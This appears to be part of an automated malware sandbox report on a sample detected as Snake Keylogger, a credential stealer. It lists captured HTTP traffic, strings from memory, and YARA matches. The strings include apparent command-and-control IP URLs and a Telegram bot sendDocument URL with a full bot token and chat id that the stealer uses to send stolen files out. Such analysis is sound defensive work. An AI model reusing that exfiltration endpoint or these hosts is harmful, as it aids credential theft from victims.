3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:05:02 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:05:22 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:05:22 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:05:22 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.27.2Date: Thu, 31 Oct 2024 15:05:25 GMTTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=20Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.27.2Date: Thu, 31 Oct 2024 15:05:25 GMTTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=20Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Source: armsvc.exe, 00000002.00000003.537832595.00000000014F0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.537823341.0000000001610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.exe
Source: armsvc.exe, 00000002.00000003.610749921.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/huocjuktxaghwqg9
Source: armsvc.exe, 00000002.00000003.616672007.000000000080F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000002.625026378.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.610749921.000000000080F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248/
Source: armsvc.exe, 00000002.00000002.625026378.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/ndailluade
Source: armsvc.exe, 00000002.00000002.625026378.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000002.625026378.00000000007F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/tpjvftvnmtifikga
Source: RegSvcs.exe, 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: RegSvcs.exe, 0000000C.00000002.626414003.0000000002322000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegSvcs.exe, 0000000C.00000002.626414003.0000000002322000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.626414003.0000000002316000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 0000000C.00000002.626414003.00000000022A1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.627995969.0000000005687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: RegSvcs.exe, 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: armsvc.exe, 00000002.00000003.616672007.000000000080F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://damcprvgv.biz/
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: RegSvcs.exe, 0000000C.00000002.626414003.0000000002344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: wmpnetwk.exe.2.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: wmpnetwk.exe.2.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: RegSvcs.exe, 0000000C.00000002.626414003.00000000022A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: RegSvcs.exe, 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: RegSvcs.exe, 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: RegSvcs.exe, 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: RegSvcs.exe, 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: RegSvcs.exe, 0000000C.00000002.626414003.0000000002322000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: RegSvcs.exe, 0000000C.00000002.626414003.0000000002322000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 0000000C.00000002.626414003.0000000002322000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.626042060.0000000000C0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.77
Source: RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: armsvc.exe, 00000002.00000003.522508882.00000000014F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49180

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49182 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 12.2.RegSvcs.exe.90000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 12.2.RegSvcs.exe.90000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 3736, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Binary is likely a compiled AutoIt script file

Source: Y2EM7suNV5.exe, 00000000.00000000.352873019.00000000004C2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1a853e82-e
Source: Y2EM7suNV5.exe, 00000000.00000000.352873019.00000000004C2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_91f3f117-3
Source: Y2EM7suNV5.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_89c4d3bf-f
Source: Y2EM7suNV5.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating 